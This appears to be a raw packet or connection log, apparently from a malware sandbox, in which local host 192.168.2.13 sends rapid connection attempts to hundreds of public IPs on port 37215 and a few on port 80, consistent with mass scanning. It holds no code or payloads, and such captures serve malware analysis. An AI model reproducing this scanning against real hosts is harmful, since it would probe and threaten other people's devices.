Jan 5, 2025 14:34:56.862885952 CET	36914	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:56.862971067 CET	37215	49996	197.247.78.82	192.168.2.13
Jan 5, 2025 14:34:56.863007069 CET	49996	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:56.863215923 CET	37215	35528	41.82.207.46	192.168.2.13
Jan 5, 2025 14:34:56.863253117 CET	35528	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:56.863281965 CET	37215	60256	41.232.203.93	192.168.2.13
Jan 5, 2025 14:34:56.863318920 CET	60256	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:56.863478899 CET	37215	38538	41.24.113.224	192.168.2.13
Jan 5, 2025 14:34:56.863487959 CET	37215	45072	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:56.863518953 CET	38538	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:56.863598108 CET	37215	45072	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:56.863636017 CET	45072	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:56.880143881 CET	46092	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:56.880146027 CET	33356	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:56.885005951 CET	80	46092	197.26.207.114	192.168.2.13
Jan 5, 2025 14:34:56.885051012 CET	46092	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:56.885083914 CET	37215	33356	41.108.229.87	192.168.2.13
Jan 5, 2025 14:34:56.885097027 CET	46092	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:56.885124922 CET	33356	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:56.885150909 CET	33356	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:56.890100956 CET	80	46092	197.26.207.114	192.168.2.13
Jan 5, 2025 14:34:56.890139103 CET	46092	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:56.890254974 CET	37215	33356	41.108.229.87	192.168.2.13
Jan 5, 2025 14:34:56.890280962 CET	33356	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:56.916146040 CET	45246	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:56.916152000 CET	35522	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:56.916152000 CET	42816	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:56.921030045 CET	37215	45246	156.58.186.145	192.168.2.13
Jan 5, 2025 14:34:56.921040058 CET	37215	35522	156.27.80.89	192.168.2.13
Jan 5, 2025 14:34:56.921050072 CET	37215	42816	41.156.164.19	192.168.2.13
Jan 5, 2025 14:34:56.921092033 CET	45246	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:56.921106100 CET	45246	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:56.921108961 CET	35522	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:56.921108961 CET	42816	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:56.921201944 CET	42816	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:56.921201944 CET	35522	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:56.926141977 CET	37215	45246	156.58.186.145	192.168.2.13
Jan 5, 2025 14:34:56.926177979 CET	45246	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:56.926342964 CET	37215	35522	156.27.80.89	192.168.2.13
Jan 5, 2025 14:34:56.926378012 CET	35522	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:56.926409006 CET	37215	42816	41.156.164.19	192.168.2.13
Jan 5, 2025 14:34:56.926445007 CET	42816	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:56.944140911 CET	39812	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:56.948139906 CET	55846	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:56.948960066 CET	80	39812	69.206.208.139	192.168.2.13
Jan 5, 2025 14:34:56.949003935 CET	39812	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:56.949049950 CET	39812	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:56.952891111 CET	37215	55846	41.6.193.156	192.168.2.13
Jan 5, 2025 14:34:56.952939987 CET	55846	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:56.953002930 CET	55846	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:56.953959942 CET	80	39812	69.206.208.139	192.168.2.13
Jan 5, 2025 14:34:56.953998089 CET	39812	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:56.957894087 CET	37215	55846	41.6.193.156	192.168.2.13
Jan 5, 2025 14:34:56.957933903 CET	55846	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:56.976144075 CET	43894	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:56.980932951 CET	37215	43894	156.40.240.210	192.168.2.13
Jan 5, 2025 14:34:56.980978012 CET	43894	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:56.981021881 CET	43894	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:56.981044054 CET	29479	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:34:56.981055021 CET	29479	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:34:56.981054068 CET	29479	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:34:56.981065035 CET	29479	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:34:56.981065989 CET	29479	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:34:56.981065989 CET	29479	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:34:56.981067896 CET	29479	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:34:56.981067896 CET	29479	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:56.981067896 CET	29479	37215	192.168.2.13	156.250.252.39
Jan 5, 2025 14:34:56.981076002 CET	29479	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:34:56.981081009 CET	29479	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:34:56.981092930 CET	29479	37215	192.168.2.13	156.181.100.88
Jan 5, 2025 14:34:56.981103897 CET	29479	37215	192.168.2.13	197.79.21.61
Jan 5, 2025 14:34:56.981103897 CET	29479	37215	192.168.2.13	156.89.199.243
Jan 5, 2025 14:34:56.981110096 CET	29479	37215	192.168.2.13	197.58.3.169
Jan 5, 2025 14:34:56.981117964 CET	29479	37215	192.168.2.13	41.6.205.19
Jan 5, 2025 14:34:56.981127024 CET	29479	37215	192.168.2.13	197.248.33.225
Jan 5, 2025 14:34:56.981131077 CET	29479	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:34:56.981138945 CET	29479	37215	192.168.2.13	197.207.91.55
Jan 5, 2025 14:34:56.981139898 CET	29479	37215	192.168.2.13	156.83.147.79
Jan 5, 2025 14:34:56.981144905 CET	29479	37215	192.168.2.13	156.9.210.78
Jan 5, 2025 14:34:56.981153965 CET	29479	37215	192.168.2.13	156.28.229.241
Jan 5, 2025 14:34:56.981156111 CET	29479	37215	192.168.2.13	156.156.80.80
Jan 5, 2025 14:34:56.981168985 CET	29479	37215	192.168.2.13	197.48.124.158
Jan 5, 2025 14:34:56.981173992 CET	29479	37215	192.168.2.13	41.99.15.83
Jan 5, 2025 14:34:56.981177092 CET	29479	37215	192.168.2.13	197.62.144.198
Jan 5, 2025 14:34:56.981182098 CET	29479	37215	192.168.2.13	156.213.81.209
Jan 5, 2025 14:34:56.981184006 CET	29479	37215	192.168.2.13	197.235.84.193
Jan 5, 2025 14:34:56.981185913 CET	29479	37215	192.168.2.13	41.198.56.163
Jan 5, 2025 14:34:56.981194973 CET	29479	37215	192.168.2.13	156.148.195.46
Jan 5, 2025 14:34:56.981198072 CET	29479	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:56.981204033 CET	29479	37215	192.168.2.13	156.134.235.140
Jan 5, 2025 14:34:56.981215000 CET	29479	37215	192.168.2.13	197.175.220.124
Jan 5, 2025 14:34:56.981216908 CET	29479	37215	192.168.2.13	41.246.117.207
Jan 5, 2025 14:34:56.981218100 CET	29479	37215	192.168.2.13	41.143.47.54
Jan 5, 2025 14:34:56.981232882 CET	29479	37215	192.168.2.13	156.189.69.239
Jan 5, 2025 14:34:56.981234074 CET	29479	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:34:56.981245041 CET	29479	37215	192.168.2.13	197.253.42.3
Jan 5, 2025 14:34:56.981245041 CET	29479	37215	192.168.2.13	41.225.46.131
Jan 5, 2025 14:34:56.981245995 CET	29479	37215	192.168.2.13	197.235.112.122
Jan 5, 2025 14:34:56.981245995 CET	29479	37215	192.168.2.13	41.225.42.247
Jan 5, 2025 14:34:56.981245041 CET	29479	37215	192.168.2.13	197.243.204.4
Jan 5, 2025 14:34:56.981245041 CET	29479	37215	192.168.2.13	197.113.242.34
Jan 5, 2025 14:34:56.981251955 CET	29479	37215	192.168.2.13	41.37.149.109
Jan 5, 2025 14:34:56.981245041 CET	29479	37215	192.168.2.13	156.81.175.247
Jan 5, 2025 14:34:56.981262922 CET	29479	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:56.981265068 CET	29479	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:34:56.981267929 CET	29479	37215	192.168.2.13	41.254.227.229
Jan 5, 2025 14:34:56.981277943 CET	29479	37215	192.168.2.13	197.182.43.84
Jan 5, 2025 14:34:56.981278896 CET	29479	37215	192.168.2.13	41.96.85.28
Jan 5, 2025 14:34:56.981286049 CET	29479	37215	192.168.2.13	156.102.108.254
Jan 5, 2025 14:34:56.981293917 CET	29479	37215	192.168.2.13	41.0.147.157
Jan 5, 2025 14:34:56.981293917 CET	29479	37215	192.168.2.13	197.53.10.4
Jan 5, 2025 14:34:56.981297016 CET	29479	37215	192.168.2.13	197.50.79.38
Jan 5, 2025 14:34:56.981307983 CET	29479	37215	192.168.2.13	156.163.144.155
Jan 5, 2025 14:34:56.981313944 CET	29479	37215	192.168.2.13	197.247.221.102
Jan 5, 2025 14:34:56.981313944 CET	29479	37215	192.168.2.13	197.124.137.166
Jan 5, 2025 14:34:56.981313944 CET	29479	37215	192.168.2.13	156.250.163.97
Jan 5, 2025 14:34:56.981317997 CET	29479	37215	192.168.2.13	156.164.178.172
Jan 5, 2025 14:34:56.981324911 CET	29479	37215	192.168.2.13	156.161.97.60
Jan 5, 2025 14:34:56.981338024 CET	29479	37215	192.168.2.13	156.189.98.54
Jan 5, 2025 14:34:56.981339931 CET	29479	37215	192.168.2.13	197.130.153.209
Jan 5, 2025 14:34:56.981339931 CET	29479	37215	192.168.2.13	197.22.133.56
Jan 5, 2025 14:34:56.981340885 CET	29479	37215	192.168.2.13	41.46.248.70
Jan 5, 2025 14:34:56.981343985 CET	29479	37215	192.168.2.13	156.121.96.62
Jan 5, 2025 14:34:56.981350899 CET	29479	37215	192.168.2.13	41.224.113.176
Jan 5, 2025 14:34:56.981359959 CET	29479	37215	192.168.2.13	156.22.51.183
Jan 5, 2025 14:34:56.981364012 CET	29479	37215	192.168.2.13	156.249.131.86
Jan 5, 2025 14:34:56.981367111 CET	29479	37215	192.168.2.13	197.4.91.215
Jan 5, 2025 14:34:56.981380939 CET	29479	37215	192.168.2.13	41.170.189.225
Jan 5, 2025 14:34:56.981384993 CET	29479	37215	192.168.2.13	197.15.55.249
Jan 5, 2025 14:34:56.981389046 CET	29479	37215	192.168.2.13	197.23.218.55
Jan 5, 2025 14:34:56.981389046 CET	29479	37215	192.168.2.13	197.151.132.1
Jan 5, 2025 14:34:56.981395960 CET	29479	37215	192.168.2.13	197.160.173.118
Jan 5, 2025 14:34:56.981405020 CET	29479	37215	192.168.2.13	197.29.136.50
Jan 5, 2025 14:34:56.981415987 CET	29479	37215	192.168.2.13	41.235.120.176
Jan 5, 2025 14:34:56.981420994 CET	29479	37215	192.168.2.13	197.204.70.23
Jan 5, 2025 14:34:56.981425047 CET	29479	37215	192.168.2.13	41.95.29.148
Jan 5, 2025 14:34:56.981436014 CET	29479	37215	192.168.2.13	197.25.193.142
Jan 5, 2025 14:34:56.981437922 CET	29479	37215	192.168.2.13	41.11.125.142
Jan 5, 2025 14:34:56.981443882 CET	29479	37215	192.168.2.13	41.151.158.203
Jan 5, 2025 14:34:56.981448889 CET	29479	37215	192.168.2.13	41.67.50.65
Jan 5, 2025 14:34:56.981451035 CET	29479	37215	192.168.2.13	197.111.117.30
Jan 5, 2025 14:34:56.981461048 CET	29479	37215	192.168.2.13	41.103.47.252
Jan 5, 2025 14:34:56.981467009 CET	29479	37215	192.168.2.13	197.152.107.44
Jan 5, 2025 14:34:56.981468916 CET	29479	37215	192.168.2.13	41.32.67.194
Jan 5, 2025 14:34:56.981477976 CET	29479	37215	192.168.2.13	197.225.47.91
Jan 5, 2025 14:34:56.981481075 CET	29479	37215	192.168.2.13	41.27.189.120
Jan 5, 2025 14:34:56.981483936 CET	29479	37215	192.168.2.13	156.112.120.193
Jan 5, 2025 14:34:56.981489897 CET	29479	37215	192.168.2.13	41.15.130.194
Jan 5, 2025 14:34:56.981498957 CET	29479	37215	192.168.2.13	156.91.29.160
Jan 5, 2025 14:34:56.981499910 CET	29479	37215	192.168.2.13	41.157.238.42
Jan 5, 2025 14:34:56.981513977 CET	29479	37215	192.168.2.13	197.159.5.68
Jan 5, 2025 14:34:56.981517076 CET	29479	37215	192.168.2.13	156.149.108.216
Jan 5, 2025 14:34:56.981523037 CET	29479	37215	192.168.2.13	156.30.40.97
Jan 5, 2025 14:34:56.981524944 CET	29479	37215	192.168.2.13	197.121.177.122
Jan 5, 2025 14:34:56.981529951 CET	29479	37215	192.168.2.13	156.225.246.226
Jan 5, 2025 14:34:56.981544971 CET	29479	37215	192.168.2.13	197.121.162.27
Jan 5, 2025 14:34:56.981544971 CET	29479	37215	192.168.2.13	197.23.251.15
Jan 5, 2025 14:34:56.981549025 CET	29479	37215	192.168.2.13	41.175.14.53
Jan 5, 2025 14:34:56.981554031 CET	29479	37215	192.168.2.13	156.74.231.49
Jan 5, 2025 14:34:56.981555939 CET	29479	37215	192.168.2.13	197.24.219.171
Jan 5, 2025 14:34:56.981566906 CET	29479	37215	192.168.2.13	156.208.103.127
Jan 5, 2025 14:34:56.981573105 CET	29479	37215	192.168.2.13	41.21.90.44
Jan 5, 2025 14:34:56.981573105 CET	29479	37215	192.168.2.13	41.119.20.238
Jan 5, 2025 14:34:56.981585026 CET	29479	37215	192.168.2.13	41.167.106.231
Jan 5, 2025 14:34:56.981590986 CET	29479	37215	192.168.2.13	197.183.7.190
Jan 5, 2025 14:34:56.981591940 CET	29479	37215	192.168.2.13	41.181.93.167
Jan 5, 2025 14:34:56.981600046 CET	29479	37215	192.168.2.13	197.187.0.38
Jan 5, 2025 14:34:56.981602907 CET	29479	37215	192.168.2.13	156.226.52.161
Jan 5, 2025 14:34:56.981616020 CET	29479	37215	192.168.2.13	156.123.210.17
Jan 5, 2025 14:34:56.981616020 CET	29479	37215	192.168.2.13	156.147.106.113
Jan 5, 2025 14:34:56.981616020 CET	29479	37215	192.168.2.13	41.109.96.102
Jan 5, 2025 14:34:56.981618881 CET	29479	37215	192.168.2.13	156.25.244.169
Jan 5, 2025 14:34:56.981623888 CET	29479	37215	192.168.2.13	41.247.41.239
Jan 5, 2025 14:34:56.981623888 CET	29479	37215	192.168.2.13	41.230.57.108
Jan 5, 2025 14:34:56.981628895 CET	29479	37215	192.168.2.13	41.230.162.222
Jan 5, 2025 14:34:56.981631041 CET	29479	37215	192.168.2.13	197.197.227.245
Jan 5, 2025 14:34:56.981631041 CET	29479	37215	192.168.2.13	197.181.37.232
Jan 5, 2025 14:34:56.981635094 CET	29479	37215	192.168.2.13	156.15.199.76
Jan 5, 2025 14:34:56.981642962 CET	29479	37215	192.168.2.13	197.208.169.202
Jan 5, 2025 14:34:56.981647968 CET	29479	37215	192.168.2.13	197.114.120.44
Jan 5, 2025 14:34:56.981650114 CET	29479	37215	192.168.2.13	156.170.254.131
Jan 5, 2025 14:34:56.981666088 CET	29479	37215	192.168.2.13	197.105.141.211
Jan 5, 2025 14:34:56.981668949 CET	29479	37215	192.168.2.13	41.28.143.140
Jan 5, 2025 14:34:56.981668949 CET	29479	37215	192.168.2.13	41.2.109.36
Jan 5, 2025 14:34:56.981674910 CET	29479	37215	192.168.2.13	197.216.73.193
Jan 5, 2025 14:34:56.981676102 CET	29479	37215	192.168.2.13	156.72.131.248
Jan 5, 2025 14:34:56.981683016 CET	29479	37215	192.168.2.13	41.34.37.220
Jan 5, 2025 14:34:56.981688023 CET	29479	37215	192.168.2.13	156.94.124.232
Jan 5, 2025 14:34:56.981694937 CET	29479	37215	192.168.2.13	156.200.151.26
Jan 5, 2025 14:34:56.981705904 CET	29479	37215	192.168.2.13	41.229.5.150
Jan 5, 2025 14:34:56.981708050 CET	29479	37215	192.168.2.13	41.86.195.213
Jan 5, 2025 14:34:56.981713057 CET	29479	37215	192.168.2.13	197.181.88.55
Jan 5, 2025 14:34:56.981720924 CET	29479	37215	192.168.2.13	41.81.140.184
Jan 5, 2025 14:34:56.981724024 CET	29479	37215	192.168.2.13	197.106.107.183
Jan 5, 2025 14:34:56.981730938 CET	29479	37215	192.168.2.13	197.15.36.168
Jan 5, 2025 14:34:56.981744051 CET	29479	37215	192.168.2.13	197.218.174.123
Jan 5, 2025 14:34:56.981744051 CET	29479	37215	192.168.2.13	41.70.157.11
Jan 5, 2025 14:34:56.981748104 CET	29479	37215	192.168.2.13	156.200.0.120
Jan 5, 2025 14:34:56.981753111 CET	29479	37215	192.168.2.13	156.90.128.101
Jan 5, 2025 14:34:56.981764078 CET	29479	37215	192.168.2.13	156.84.67.136
Jan 5, 2025 14:34:56.981770039 CET	29479	37215	192.168.2.13	197.32.96.70
Jan 5, 2025 14:34:56.981772900 CET	29479	37215	192.168.2.13	197.249.93.81
Jan 5, 2025 14:34:56.981772900 CET	29479	37215	192.168.2.13	197.154.39.119
Jan 5, 2025 14:34:56.981780052 CET	29479	37215	192.168.2.13	41.12.154.85
Jan 5, 2025 14:34:56.981786966 CET	29479	37215	192.168.2.13	156.192.122.26
Jan 5, 2025 14:34:56.981791019 CET	29479	37215	192.168.2.13	197.120.66.47
Jan 5, 2025 14:34:56.981795073 CET	29479	37215	192.168.2.13	41.67.237.76
Jan 5, 2025 14:34:56.981801033 CET	29479	37215	192.168.2.13	197.250.72.63
Jan 5, 2025 14:34:56.981808901 CET	29479	37215	192.168.2.13	197.225.208.72
Jan 5, 2025 14:34:56.981816053 CET	29479	37215	192.168.2.13	197.70.117.150
Jan 5, 2025 14:34:56.981817007 CET	29479	37215	192.168.2.13	41.196.163.88
Jan 5, 2025 14:34:56.981825113 CET	29479	37215	192.168.2.13	156.213.229.56
Jan 5, 2025 14:34:56.981832981 CET	29479	37215	192.168.2.13	197.9.150.230
Jan 5, 2025 14:34:56.981832981 CET	29479	37215	192.168.2.13	156.201.196.63
Jan 5, 2025 14:34:56.981837034 CET	29479	37215	192.168.2.13	156.130.51.103
Jan 5, 2025 14:34:56.981837034 CET	29479	37215	192.168.2.13	41.164.13.136
Jan 5, 2025 14:34:56.981847048 CET	29479	37215	192.168.2.13	41.168.156.169
Jan 5, 2025 14:34:56.981851101 CET	29479	37215	192.168.2.13	156.57.5.44
Jan 5, 2025 14:34:56.981851101 CET	29479	37215	192.168.2.13	156.87.125.15
Jan 5, 2025 14:34:56.981858969 CET	29479	37215	192.168.2.13	41.162.137.141
Jan 5, 2025 14:34:56.981863976 CET	29479	37215	192.168.2.13	41.122.202.21
Jan 5, 2025 14:34:56.981868982 CET	29479	37215	192.168.2.13	197.17.142.189
Jan 5, 2025 14:34:56.981869936 CET	29479	37215	192.168.2.13	41.24.144.221
Jan 5, 2025 14:34:56.981882095 CET	29479	37215	192.168.2.13	156.64.158.150
Jan 5, 2025 14:34:56.981883049 CET	29479	37215	192.168.2.13	197.154.223.63
Jan 5, 2025 14:34:56.981897116 CET	29479	37215	192.168.2.13	41.63.110.32
Jan 5, 2025 14:34:56.981899023 CET	29479	37215	192.168.2.13	41.13.58.157
Jan 5, 2025 14:34:56.981904030 CET	29479	37215	192.168.2.13	197.42.4.30
Jan 5, 2025 14:34:56.981908083 CET	29479	37215	192.168.2.13	41.131.221.141
Jan 5, 2025 14:34:56.981908083 CET	29479	37215	192.168.2.13	41.205.240.252
Jan 5, 2025 14:34:56.981939077 CET	29479	37215	192.168.2.13	156.92.118.13
Jan 5, 2025 14:34:56.981944084 CET	29479	37215	192.168.2.13	197.117.3.173
Jan 5, 2025 14:34:56.981945038 CET	29479	37215	192.168.2.13	41.124.196.237
Jan 5, 2025 14:34:56.981945992 CET	29479	37215	192.168.2.13	156.59.152.200
Jan 5, 2025 14:34:56.981946945 CET	29479	37215	192.168.2.13	156.45.84.241
Jan 5, 2025 14:34:56.981946945 CET	29479	37215	192.168.2.13	197.90.102.231
Jan 5, 2025 14:34:56.981957912 CET	29479	37215	192.168.2.13	41.91.33.41
Jan 5, 2025 14:34:56.981961012 CET	29479	37215	192.168.2.13	41.171.23.47
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	197.103.78.59
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	197.216.158.43
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	41.172.3.253
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	197.41.87.44
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	41.140.240.55
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	41.30.179.115
Jan 5, 2025 14:34:56.981965065 CET	29479	37215	192.168.2.13	156.182.55.198
Jan 5, 2025 14:34:56.981966019 CET	29479	37215	192.168.2.13	156.112.42.14
Jan 5, 2025 14:34:56.981966019 CET	29479	37215	192.168.2.13	41.241.150.32
Jan 5, 2025 14:34:56.981966019 CET	29479	37215	192.168.2.13	156.119.221.253
Jan 5, 2025 14:34:56.981966019 CET	29479	37215	192.168.2.13	41.157.232.231
Jan 5, 2025 14:34:56.981966019 CET	29479	37215	192.168.2.13	156.37.153.124
Jan 5, 2025 14:34:56.981975079 CET	29479	37215	192.168.2.13	197.58.105.171
Jan 5, 2025 14:34:56.981975079 CET	29479	37215	192.168.2.13	156.207.181.163
Jan 5, 2025 14:34:56.981975079 CET	29479	37215	192.168.2.13	197.59.59.105
Jan 5, 2025 14:34:56.981976032 CET	29479	37215	192.168.2.13	156.71.45.114
Jan 5, 2025 14:34:56.981975079 CET	29479	37215	192.168.2.13	156.119.75.144
Jan 5, 2025 14:34:56.981975079 CET	29479	37215	192.168.2.13	197.69.31.181
Jan 5, 2025 14:34:56.981975079 CET	29479	37215	192.168.2.13	197.34.184.168
Jan 5, 2025 14:34:56.981977940 CET	29479	37215	192.168.2.13	197.249.186.5
Jan 5, 2025 14:34:56.981977940 CET	29479	37215	192.168.2.13	156.15.88.138
Jan 5, 2025 14:34:56.981977940 CET	29479	37215	192.168.2.13	41.62.9.135
Jan 5, 2025 14:34:56.981981993 CET	29479	37215	192.168.2.13	41.202.250.247
Jan 5, 2025 14:34:56.981987000 CET	29479	37215	192.168.2.13	41.150.131.230
Jan 5, 2025 14:34:56.981987953 CET	29479	37215	192.168.2.13	156.39.142.156
Jan 5, 2025 14:34:56.981987953 CET	29479	37215	192.168.2.13	197.35.58.108
Jan 5, 2025 14:34:56.981988907 CET	29479	37215	192.168.2.13	197.240.255.148
Jan 5, 2025 14:34:56.981988907 CET	29479	37215	192.168.2.13	197.41.227.87
Jan 5, 2025 14:34:56.981997967 CET	29479	37215	192.168.2.13	156.234.226.234
Jan 5, 2025 14:34:56.981998920 CET	29479	37215	192.168.2.13	156.37.106.207
Jan 5, 2025 14:34:56.981998920 CET	29479	37215	192.168.2.13	156.206.102.152
Jan 5, 2025 14:34:56.981998920 CET	29479	37215	192.168.2.13	197.170.122.50
Jan 5, 2025 14:34:56.982003927 CET	29479	37215	192.168.2.13	41.218.206.12
Jan 5, 2025 14:34:56.982003927 CET	29479	37215	192.168.2.13	41.127.41.199
Jan 5, 2025 14:34:56.982003927 CET	29479	37215	192.168.2.13	197.249.92.109
Jan 5, 2025 14:34:56.982003927 CET	29479	37215	192.168.2.13	197.57.73.108
Jan 5, 2025 14:34:56.982009888 CET	29479	37215	192.168.2.13	197.3.143.205
Jan 5, 2025 14:34:56.982011080 CET	29479	37215	192.168.2.13	41.155.3.32
Jan 5, 2025 14:34:56.982011080 CET	29479	37215	192.168.2.13	41.114.59.217
Jan 5, 2025 14:34:56.982013941 CET	29479	37215	192.168.2.13	197.186.58.117
Jan 5, 2025 14:34:56.982022047 CET	29479	37215	192.168.2.13	156.87.251.224
Jan 5, 2025 14:34:56.982024908 CET	29479	37215	192.168.2.13	197.194.118.72
Jan 5, 2025 14:34:56.982027054 CET	29479	37215	192.168.2.13	41.211.200.185
Jan 5, 2025 14:34:56.982027054 CET	29479	37215	192.168.2.13	197.170.154.11
Jan 5, 2025 14:34:56.982028961 CET	29479	37215	192.168.2.13	41.133.159.16
Jan 5, 2025 14:34:56.982029915 CET	29479	37215	192.168.2.13	197.185.100.19
Jan 5, 2025 14:34:56.982033014 CET	29479	37215	192.168.2.13	41.36.160.135
Jan 5, 2025 14:34:56.982039928 CET	29479	37215	192.168.2.13	41.194.10.27
Jan 5, 2025 14:34:56.982039928 CET	29479	37215	192.168.2.13	41.134.6.152
Jan 5, 2025 14:34:56.982039928 CET	29479	37215	192.168.2.13	41.55.228.41
Jan 5, 2025 14:34:56.982039928 CET	29479	37215	192.168.2.13	156.148.99.126
Jan 5, 2025 14:34:56.982042074 CET	29479	37215	192.168.2.13	197.139.228.115
Jan 5, 2025 14:34:56.982043028 CET	29479	37215	192.168.2.13	41.66.206.195
Jan 5, 2025 14:34:56.982043028 CET	29479	37215	192.168.2.13	197.62.104.145
Jan 5, 2025 14:34:56.982047081 CET	29479	37215	192.168.2.13	156.230.220.43
Jan 5, 2025 14:34:56.982047081 CET	29479	37215	192.168.2.13	41.209.249.218
Jan 5, 2025 14:34:56.982050896 CET	29479	37215	192.168.2.13	156.102.79.59
Jan 5, 2025 14:34:56.982052088 CET	29479	37215	192.168.2.13	41.137.110.209
Jan 5, 2025 14:34:56.982053041 CET	29479	37215	192.168.2.13	197.80.27.176
Jan 5, 2025 14:34:56.982057095 CET	29479	37215	192.168.2.13	197.204.103.3
Jan 5, 2025 14:34:56.982059956 CET	29479	37215	192.168.2.13	156.195.189.50
Jan 5, 2025 14:34:56.982059956 CET	29479	37215	192.168.2.13	197.37.10.96
Jan 5, 2025 14:34:56.982064009 CET	29479	37215	192.168.2.13	156.220.249.119
Jan 5, 2025 14:34:56.982068062 CET	29479	37215	192.168.2.13	41.135.188.78
Jan 5, 2025 14:34:56.982074022 CET	29479	37215	192.168.2.13	41.112.205.116
Jan 5, 2025 14:34:56.982074976 CET	29479	37215	192.168.2.13	41.23.25.233
Jan 5, 2025 14:34:56.982079983 CET	29479	37215	192.168.2.13	41.249.233.77
Jan 5, 2025 14:34:56.982079983 CET	29479	37215	192.168.2.13	156.35.31.182
Jan 5, 2025 14:34:56.982081890 CET	29479	37215	192.168.2.13	156.65.82.198
Jan 5, 2025 14:34:56.982085943 CET	29479	37215	192.168.2.13	197.125.141.244
Jan 5, 2025 14:34:56.982079983 CET	29479	37215	192.168.2.13	197.81.114.76
Jan 5, 2025 14:34:56.982081890 CET	29479	37215	192.168.2.13	41.147.29.243
Jan 5, 2025 14:34:56.982085943 CET	29479	37215	192.168.2.13	41.193.251.4
Jan 5, 2025 14:34:56.982091904 CET	29479	37215	192.168.2.13	156.47.156.112
Jan 5, 2025 14:34:56.982091904 CET	29479	37215	192.168.2.13	156.21.175.144
Jan 5, 2025 14:34:56.982096910 CET	29479	37215	192.168.2.13	156.143.241.179
Jan 5, 2025 14:34:56.982099056 CET	29479	37215	192.168.2.13	156.211.23.53
Jan 5, 2025 14:34:56.982100010 CET	29479	37215	192.168.2.13	156.197.145.103
Jan 5, 2025 14:34:56.982100010 CET	29479	37215	192.168.2.13	156.182.158.245
Jan 5, 2025 14:34:56.982108116 CET	29479	37215	192.168.2.13	41.235.47.124
Jan 5, 2025 14:34:56.982108116 CET	29479	37215	192.168.2.13	156.37.36.250
Jan 5, 2025 14:34:56.982109070 CET	29479	37215	192.168.2.13	197.84.155.203
Jan 5, 2025 14:34:56.982115030 CET	29479	37215	192.168.2.13	156.21.170.123
Jan 5, 2025 14:34:56.982117891 CET	29479	37215	192.168.2.13	41.117.240.156
Jan 5, 2025 14:34:56.982120037 CET	29479	37215	192.168.2.13	41.107.204.231
Jan 5, 2025 14:34:56.982120037 CET	29479	37215	192.168.2.13	41.79.64.134
Jan 5, 2025 14:34:56.982125998 CET	29479	37215	192.168.2.13	156.187.111.161
Jan 5, 2025 14:34:56.982126951 CET	29479	37215	192.168.2.13	197.82.255.84
Jan 5, 2025 14:34:56.982127905 CET	29479	37215	192.168.2.13	156.198.119.111
Jan 5, 2025 14:34:56.982126951 CET	29479	37215	192.168.2.13	156.43.200.6
Jan 5, 2025 14:34:56.982136011 CET	29479	37215	192.168.2.13	197.55.148.22
Jan 5, 2025 14:34:56.982137918 CET	29479	37215	192.168.2.13	197.112.22.196
Jan 5, 2025 14:34:56.982137918 CET	29479	37215	192.168.2.13	197.34.252.254
Jan 5, 2025 14:34:56.982142925 CET	29479	37215	192.168.2.13	156.40.13.234
Jan 5, 2025 14:34:56.982146978 CET	29479	37215	192.168.2.13	156.32.234.140
